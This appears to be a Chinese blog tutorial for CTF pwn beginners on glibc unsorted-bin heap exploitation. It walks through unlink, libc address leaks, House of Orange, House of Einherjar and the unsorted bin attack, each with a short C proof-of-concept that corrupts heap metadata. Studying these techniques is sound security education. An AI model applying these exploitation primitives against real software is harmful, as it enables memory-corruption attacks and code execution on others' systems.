Unsorted bin

  • 序言
  • 概述
  • 攻击方式
    • unlink
    • 释放Chunk到Unsorted bin
    • House of Orange
    • House of einherjar
    • Unsorted bin attack
  • 总结

CTF pwn题堆入门 – Tcache bin
CTF pwn题堆入门 – Fast bin
CTF pwn题堆入门 – Large bin

序言

  无奈于pwn题中与堆相关的东西实在是比较多,加上到了2021年的现在,ctf比赛中一来就是堆题,还都是新版本libc,对我这种新手中的新手实在不太友好,以此写下这个系列文章,记录自己学习堆漏洞利用过程中的点滴,同时也是个总结吧。结合自己做题的理解,将堆攻击常见的手段和方式按照一定的规律记录下来。
  本文章系列将分成五大块,即tcache bin --> fast bin --> unsorted bin --> small bin --> large bin。

概述

  Unsorted bin也是堆题中常见的,当一个堆块被释放时,且该堆块大小不属于fast bin(libc-2.26之后要填满tcache),那么在进入small bin和large bin之前,都是先加入到unsorted bin的。之后当我们需要再次分配内存时,如果tcache bin和fastbin上都找不到合适的匹配就会到unsorted bin上寻找,如果申请的内存堆块小于寻找的unsorted bin,那么会将该内存块切割后返回给用户,剩下的仍然保存在unsorted bin上;如果申请的内存堆块大于unsorted bin上存放的,那么会从Top chunk上重新分割,此时就会把unsorted bin上的堆块按照大小放回small bin和large bin中。
  所以这里我们可以将unsorted bin看成一个缓存机制,这样可以加快内存的分配。除此之外,unsorted bin采用的也是双链表结构,先进先出策略,同时需要注意的是unsorted bin只有一条链,该链上会存放不同的堆块大小。

攻击方式

  这里记录一下我做题常见的利用unsorted bin的方式。

unlink

  接下来介绍的方法就是堆中的unlink,该机制的存在就是为了防止内存过度碎片化。当一个chunk被释放时,该chunk非fast bin,当然也不能是tcache,此时libc会检查堆块前后是否有chunk处于被释放的状态。如果存在,那么前后的堆块将会被bins中取出并进行合并,即使相邻的堆块是在fast bin或者tcache中。上述的过程就是unlink,按理说和unsorted bin没啥关系,这是系统内存整理的一种机制。不过要知道unlink之后的堆块也是放在unsorted bin中,所以将这种方法归纳在这里,具体攻击方式见下面阐述。
  其实unlink方法并不能将堆分配到目标地址上,它能实现的效果是将目标地址的值修改为自身地址减去0x18(64位),这样通过在目标地址时写入值的时候加上0x18的padding就可以对该内存地址的数据进行修改,所以和分配堆块到这里的目的一样。实现unlink攻击不算复杂,但要追究其具体原理的话得看源码或者参见ctf-wiki,这里我直接展示攻击方式和效果,当大家熟悉整个过程后再看源码,想必印象更加深刻。具体操作如下代码所示:假设要分配得目标地址为ptr,该地址必须对应要修改的chunk(见代码中的ptr = malloc(0x20));然后修改伪装chunk的size大小以及其fd和bk指针,即fd = &ptr-0x18, bk=&ptr-0x10;最后修改要释放chunk的prev_size和prev_inuse。

#include <stdio.h>
#include <stdlib.h>long long *ptr;int main()
{long long *ptr = malloc(0x20);  // 这里非常重要,并非任意给定的地址long long *vic = malloc(0x80);malloc(0x1);   // 防止堆块合并,同时prev_inuse也会被检查printf("target addr is %p, value is %p\n", &ptr, ptr);ptr[0] = 0;ptr[1] = 0x21;   // 设置sizeptr[2] = (long long)&ptr-0x18;  // fdptr[3] = (long long)&ptr-0x10;  // bkvic[-2] = 0x20;  // prev_sizevic[-1] = 0x90;  // prev_inuse = 0free(vic);   // unlinkprintf("target addr is %p, value is %p\n", &ptr, ptr);return 0;
}



  如上面两张图所示,分别展示了unlink前的内存布局以及最后的执行结果,由于地址随机化的原因,两次截图中ptr地址并不一样。结果截图中第一行是目标地址的指针地址以及存储的堆内存地址,在unlink后该指针地址处的变成了自身地址减去0x18的值。假设题目中的堆指针数组在这里,那么我们就可以修改这里的堆指针为got表或者malloc_hook等地址,进一步利用程序中对堆指针的操作修改got表或者malloc_hook的值。

释放Chunk到Unsorted bin

  这里介绍的是属于unsorted bin的基本性质和操作,当然这在双链表结构的bin中都是有的,比如:small bin,就是利用unsorted bin中第一个堆块指针的fd和bk都是指向libc中位置(unsorted bin中只有一个chunk时)。具体操作见下面的代码:

#include <stdio.h>
#include <stdlib.h>int main()
{long long * ptr = malloc(0x80);malloc(0x1);  // 防止堆块并入Top chunk中free(ptr);printf("leak libc addr is %p -- %p\n", ptr[0], ptr[1]);return 0;
}


  如上图所示,展示了利用unsorted bin性质泄露libc地址的操作,这是在开了随机化的堆题中常用操作,泄露处该地址后,我们就能利用其找到mallo_hook、free_hook等可以进一步利用onegadget的位置。以上介绍的是libc-2.26之前的方式,在tcache机制出现后,我们需要其他的处理方式,关于这一点可以参考我的另外一篇博文,tcache的讲解,最上面已经给出了链接。
  这里再补充一个小知识点,如果题目中限制了分配的堆块大小,比如只能分配0x20大小的堆块,此时我们无法直接得到属于unsorted bin大小的chunk,我们采用的rick就是利用堆溢出或者double free来修改chunk size满足unsored bin,然后再释放。示例见下面代码,使用libc-2.23.so,即不考虑tcache bin。

#include <stdio.h>
#include <malloc.h>int main()
{// 分配3个0x20大小的堆块,方便做题时修改size后不影响继续分配long long * ptr1 = malloc(0x20);void * ptr2 = malloc(0x20);void * ptr3 = malloc(0x20);malloc(0x1);ptr1[-1] = 0x91;free(ptr1);return 0;
}

  如下截图所示,展示了修改size并free后的结果,可以看到free后的堆块能够进入unsored bin,因此我们也就可以通过这种方式来泄露出libc地址。

House of Orange

  该攻击方式的命名来源于一个比赛题目,主要是在没有free函数的情况下如何释放堆块获取到libc地址。这里将攻击原理简单介绍如下:系统在分配内存时会检查各种bin的大小,如果都不合适会进一步检查Top chunk,如果Top chunk也不合适就会调用sysmalloc来申请内存,而此时又分为brk 和 mmap两种方式,而原来Top chunk中的内存会被放入到Unsorted bin中,此时我们就可以获取到libc了。如果分配的Chunk大于系统设置的阈值,一般为128K,会使用mmap,这里我们要用brk,所以要分配的内存也不能过大。
  这里我们可以考虑通过溢出将Top chunk size改小,使得下次分配的chunk无法从Top chunk取出,当然实际操作中还需要满足一些条件。现将攻击条件汇总如下:

  • 修改后的Top chunk size > MINSIZE (0x10)
  • Top chunk inuse == 1
  • 修改后的Top chunk size 必须对齐到内存页
  • 最后下一次分配的chunk大于Top chunk size - 0x10

  c语言代码展示如下:

#include <stdio.h>
#include <stdlib.h>#define fake_size 0x0d91int main()
{long long *ptr;ptr = malloc(0x10);ptr[3] = (long long)fake_size;malloc(0x1000);return 0;
}

  如下图所示,展示的是第一次malloc(0x10)的结果,fake_size也可以这样来定,方便实现内存页对齐,由于内存页是0x1000对齐的,所以fake_size也可以是0x1d91、0x2d91…等等。


  如下图所示,展示的是Top chunk被放入到Unsorted bin中的结果。

House of einherjar

  这里介绍一个由off-by-null漏洞引发的经典攻击方式,house of einherjar,该攻击方式的主要原理是利用off-by-null修改next chunk的prev_inuse,当然同时也会增大prev_size,最后通过释放再申请达到堆块重叠的目的。
  具体操作如下,首先我们构造四个堆块,如下所示:

chunk_0  0xf0    # 堆块大小需要保证释放后不进入tcache bin和fastbin,即存在tcache需要先填满对应的tcache
chunk_1  0x28    # 堆块大小以8结尾,保证off by null可以覆盖到下一个堆块的prev_inuse
chunk_2  0xf0    # 堆块大小的最后一个字节必须为00,也就是上一个堆块覆盖prev_inuse后不会影响该堆块的大小
chunk_3  0x10    # 堆块大小任意,防止前面的堆块合并到Top chunk中

  利用过程如下:

  • 先free(0);
  • 然后free(1),再申请回来,修改chunk_2的prev_size的值为chunk_0+chunk_1的大小以及利用off by null覆盖下一个堆块的prev_inuse,当然如果可以直接edit(1)那么就不需要free(1);
  • free(2),此时已经实现了unlink,chunk_0、chunk_1以及chunk_2已经合并为一个堆块,注意此时chunk_1并没有被free掉。

  至此我们已经实现了堆块重叠,并且合并后的堆块是属于unsorted bin的,所以进一步我们利用堆块重叠可以泄露libc地址,同时也能通过如下操作来获得double free的利用方式。alloc(0xf0) --> alloc(0x28) --> free(1) -->free(第二步中的alloc(0x28)),此时形成double free,我们就可以利用double free的特性加上获取到的libc地址来实现分配chunk到libc的目的。
  下面是c语言代码的展示以及最后的gdb动态调试截图。

#include <stdio.h>
#include <stdlib.h>int main()
{void *ptr[7];for (int i=0; i<7; i++)ptr[i] = malloc(0xf0);long long *chunk_0 = malloc(0xf0);long long *chunk_1 = malloc(0x28);long long *chunk_2 = malloc(0xf0);long long *chunk_3 = malloc(0x10);// avoid tcachefor (int i=0; i<7; i++)free(ptr[i]);// unlinkfree(chunk_0);chunk_1[4] = 0x30+0x100;chunk_1[5] = 0x100;free(chunk_2);// avoid tcachefor (int i=0; i<7; i++)malloc(0xf0);// double freechunk_0 = malloc(0xf0);// show(chunk_1) 可以获取到main_arena的值long long * new_chunk_1 = malloc(0x28);free(chunk_1);free(new_chunk_1);// alloc to libc// 在这里我们可以利用double free的特性加上获取到的libc地址去分配chunk到libc中return 0;
}

Unsorted bin attack

  这里介绍下Unsorted bin attack,该攻击可以实现的目标是将任意一个地址写为main_arena+88的地址,该地址也就是只有一个Unsorted bin chunk中fd和bk的值。
  下面直接看代码,我们申请一个属于unsorted bin chunk的堆块,然后释放它,将其bk指针修改为目标地址-0x10,然后再申请回来相同大小的chunk,此时就可以实现对目标地址的改写了。

#include <stdio.h>
#include <stdlib.h>int main()
{long long var = 0;printf("var is %p ==> %lld\n", &var, var);long long *ptr;ptr = malloc(0x80);malloc(0x1);      // 防止合并到Top chunkfree(ptr);ptr[1] = (long long)(&var-2);  // 修改bk指针为目标地址-0x10malloc(0x80);printf("var is %p ==> %p\n", &var, var);return 0;
}

  如下图所示,是程序运行成功后的截图。

总结

不忘初心,砥砺前行!

CTF pwn题堆入门 -- Unsorted bin相关推荐

  1. pwn题堆利用的一些姿势 -- IO_FILE

    IO_FILE 概述 IO_FILE结构介绍 利用_fileno字段 原理分析 一个例子 利用IO_FILE进行leak 原理分析 一个例子 FSOP 原理分析 一个例子 总结 pwn题堆利用的一些姿 ...

  2. pwn题堆利用的一些姿势 -- free_hook

    free_hook 概述 初级必备姿势 常规搭配姿势 按需进阶姿势 总结 pwn题堆利用的一些姿势 – malloc_hook pwn题堆利用的一些姿势 – IO_FILE pwn题堆利用的一些姿势 ...

  3. CTF pwn题之格式化字符串漏洞详解

    格式化字符串漏洞详解 概念 如何利用 基本利用方式讲解 常用payload总结 pwntools -- FmtStr类 求偏移 地址泄露 任意地址写 一个例子 总结 概念   格式化字符串漏洞的成因在 ...

  4. CTF|pwn栈溢出入门题level3解题思路及个人总结

    CTF|pwn栈溢出入门题level3解题思路及个人总结 解题思路 拿到题目将文件下载下来拖入ubuntu 发现这一次的文件比较特殊:是一个linux环境下的压缩包,自然而然想到的是解压它 通过命令行 ...

  5. 记一次院赛CTF的Pwn和Misc题(入门)

    目录 Pwn easy pwn 莽撞人 反向读取 Misc drop the beats 拼东东 消失的50px Pwn 见到别的比赛的pwn题才幡然醒悟,已经没有比这些更简单的pwn题了. easy ...

  6. CTF比赛PWN题sgtlibc通用快速解题框架

    CTF比赛PWN题sgtlibc通用快速解题框架 安装 开源地址:https://github.com/serfend/sgtlibc 使用 pip install sgtlibc -U 安装pwn解 ...

  7. linux 堆溢出 pwn 指南,新手科普 | CTF PWN堆溢出总结

    学习汇总 序言 自从加入RTIS交流群, 在7o8v师傅,gd大佬的帮助下,PWN学习之路进入加速度.下面是八周学习的总结,基本上是按照how2heap路线走的.由于八周内容全写,篇幅太长,这里只讲述 ...

  8. Linux pwn入门教程,pwn堆入门系列教程1

    pwn堆入门系列教程1 因为自己学堆的时候,找不到一个系统的教程,我将会按照ctf-wiki的目录一步步学下去,尽量做到每周有更新,方便跟我一样刚入门堆的人学习,第一篇教程研究了4天吧,途中没人指导. ...

  9. CTF中关于pwn题如何加载目标libc的方法

    问题:在做pwn题的过程中,我们经常会遇到题目提供libc,但是本地调试的时候加载的是本地libc. 解决方法: 方法1: 可以用添加环境变量的方法,如下: export LD_LIBRARY_PAT ...

最新文章

  1. Android setTag()/getTag()
  2. Oracle常用字段数据类型/to_char函数
  3. 图片转圈实现_如何编辑图片?
  4. linux服务 运维案例,linux运维实战练习案例-2015年12月20日-12月31日
  5. 前端学习(2673):vite
  6. 在IIS中启用父路径,不被黑客利用
  7. MySQL 关联表批量修改(数据同步)
  8. Disable Auto Detect Keyboard Layout in Win10
  9. @import与link方式的区别
  10. python kmeans聚类_K-means聚类算法的Python实现
  11. 机器学习——时间序列预测方法
  12. https://blog.csdn.net/myy629464/article/details/77938431/
  13. c语言编译bss和data,认识bss段和data段
  14. CS224n研究热点8 谷歌的多语种神经网络翻译系统
  15. 机器学习——周志华读书笔记
  16. 可爱的BpXXX-图
  17. SpringCloud-config分布式配置中心
  18. CentOS7中使用yum安装php5.6的方法
  19. java202303java学习笔记第四十四天函数-使用规则-groud by 优化
  20. Html 层级 透明度 背景图片

热门文章

  1. 小米路由器开启外网访问SSH和WEB管理界面
  2. 新版微信不停跳转到小程序_微信小程序页面跳转 的几种方式
  3. springboot整合 swagger2
  4. 离线语音的自定义配置步骤
  5. 超级无敌VS Code配置Java开发环境教程
  6. python怎么表示正无穷_Python 表示无穷大的数
  7. sql server 索引阐述系列二 索引存储结构
  8. 毫米波雷达上险量增长超40%:头部厂商放量,伪玩家裸泳
  9. 《致盛夏的七封情书》------------ 第二篇《初雨》
  10. FineBI连接本地Mysql数据库